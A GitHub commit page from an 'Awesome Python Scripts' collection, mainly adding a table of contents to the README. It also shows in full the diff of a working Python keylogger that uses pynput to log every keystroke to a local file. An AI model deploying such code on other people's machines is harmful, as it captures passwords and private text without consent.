Skip to content

Commit dabc6c6

Browse files
authored
Merge pull request hastagAB#279 from nazmiasri95/readme/table-of-content
Updated README.md - adding table of contents
2 parents 1cb83e9 + 05bfaf5 commit dabc6c6

File tree

2 files changed

+44
-39
lines changed

2 files changed

+44
-39
lines changed

Keylogger/script.py

Lines changed: 29 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -1,29 +1,29 @@
1-
import pynput
2-
from pynput.keyboard import Key, Listener
3-
4-
5-
keys = []
6-
7-
8-
def on_press(key):
9-
keys.append(key)
10-
write_file(keys)
11-
12-
13-
def write_file(keys):
14-
with open('log.txt', 'w') as f:
15-
for key in keys:
16-
#removing ''
17-
k = str(key).replace("'", "")
18-
f.write(k)
19-
#explicitly adding a space after every keystroke for readability
20-
f.write(' ')
21-
22-
23-
def on_release(key):
24-
if key == Key.delete:
25-
return False
26-
27-
28-
with Listener(on_press = on_press, on_release = on_release) as listener:
29-
listener.join()
1+
import pynput
2+
from pynput.keyboard import Key, Listener
3+
4+
5+
keys = []
6+
7+
8+
def on_press(key):
9+
keys.append(key)
10+
write_file(keys)
11+
12+
13+
def write_file(keys):
14+
with open('log.txt', 'w') as f:
15+
for key in keys:
16+
#removing ''
17+
k = str(key).replace("'", "")
18+
f.write(k)
19+
#explicitly adding a space after every keystroke for readability
20+
f.write(' ')
21+
22+
23+
def on_release(key):
24+
if key == Key.delete:
25+
return False
26+
27+
28+
with Listener(on_press = on_press, on_release = on_release) as listener:
29+
listener.join()

README.md

Lines changed: 15 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,23 @@
11
# Awesome Python Scripts :sunglasses: <img alt="PyPI" src="https://warehouse-camo.cmh1.psfhosted.org/18509a25dde64f893bd96f21682bd6211c3d4e80/68747470733a2f2f696d672e736869656c64732e696f2f707970692f707976657273696f6e732f64796e61636f6e662e737667"> [![Awesome](https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg)](https://github.com/hastagAB/Awesome-Python-Scripts) ![GitHub stars](https://img.shields.io/github/stars/hastagAB/Awesome-Python-Scripts?style=social)
22

3+
4+
## Contents:
5+
6+
- [What is this repo?](#what-is-this-repo)
7+
- [What do we have?](#what-do-we-have)
8+
- [How to use?](#how-to-use)
9+
- [Contribution Guidelines](#contributions-guidelines)
10+
- [Steps required to follow before adding any script](#steps-required-to-follow-before-adding-any-script)
11+
- [Contribution Guidelines](#contributions-guidelines)
12+
- [If you like the project](#if-you-like-the-project)
13+
- [Want to connect with me?](#want-to-connect-with-me)
14+
315
## What is this repo?
416
This repo is a compilation of some *awesome* Python scripts that automate some boring tasks or simply make our life easier...or both!
517

618
:cookie: Cookies for all contributors as well~
719

820
## What do we have:
9-
1021
So far, the following projects have been integrated to this repo:
1122

1223
| Project Name | Contributors |
@@ -199,8 +210,7 @@ So far, the following projects have been integrated to this repo:
199210
|[Google Meet Joiner](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/google_meet_joiner)|[JohanSanSebastian](https://github.com/JohanSanSebastian)|
200211
|[Pdf to AudioBook Converter](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/PdfToAudio)|[Ayesha Gull](https://github.com/ayeshag7/)|
201212

202-
## How to use :
203-
213+
## How to use:
204214
- Clone/Download the directory and navigate to each folder. Or...
205215
- Simply navigate to the folder and download/copy the scripts! It's *that* simple and easy.
206216
- Setup virtual environment for that scripts:
@@ -212,10 +222,9 @@ So far, the following projects have been integrated to this repo:
212222

213223
Remember to star the repo if you love the scripts~ :wink:
214224

215-
## Contribution Guidelines :
225+
## Contribution Guidelines:
216226

217227
### Steps required to follow before adding any script
218-
219228
- Make a **separate folder** for your script.
220229
- There shouldn't be any **spaces** between the names of the script. (Use underscore or dash Symbol)
221230
- :x: Script One
@@ -242,15 +251,11 @@ Remember to star the repo if you love the scripts~ :wink:
242251
- Star the Repo - [Awesome Python Scripts](https://github.com/hastagAB/Awesome-Python-Scripts)
243252
- Follow me on GitHub - [Ayush Bhardwaj](https://github.com/hastagAB)
244253

245-
# Want to connect with me ?
254+
# Want to connect with me?
246255
- [LinkedIn](https://www.linkedin.com/in/hastagab/)
247256
- [Twitter](https://twitter.com/HastagAB)
248257
- [Facebook](https://www.facebook.com/SirHastagAB)
249258
- [Instagram](https://www.instagram.com/sirhastagab/)
250259

251260

252-
253-
254-
255-
256261
[![](https://img.shields.io/badge/Made%20With%20❤️%20By-HastagAB-red)](https://github.com/hastagAB)

0 commit comments

Comments
 (0)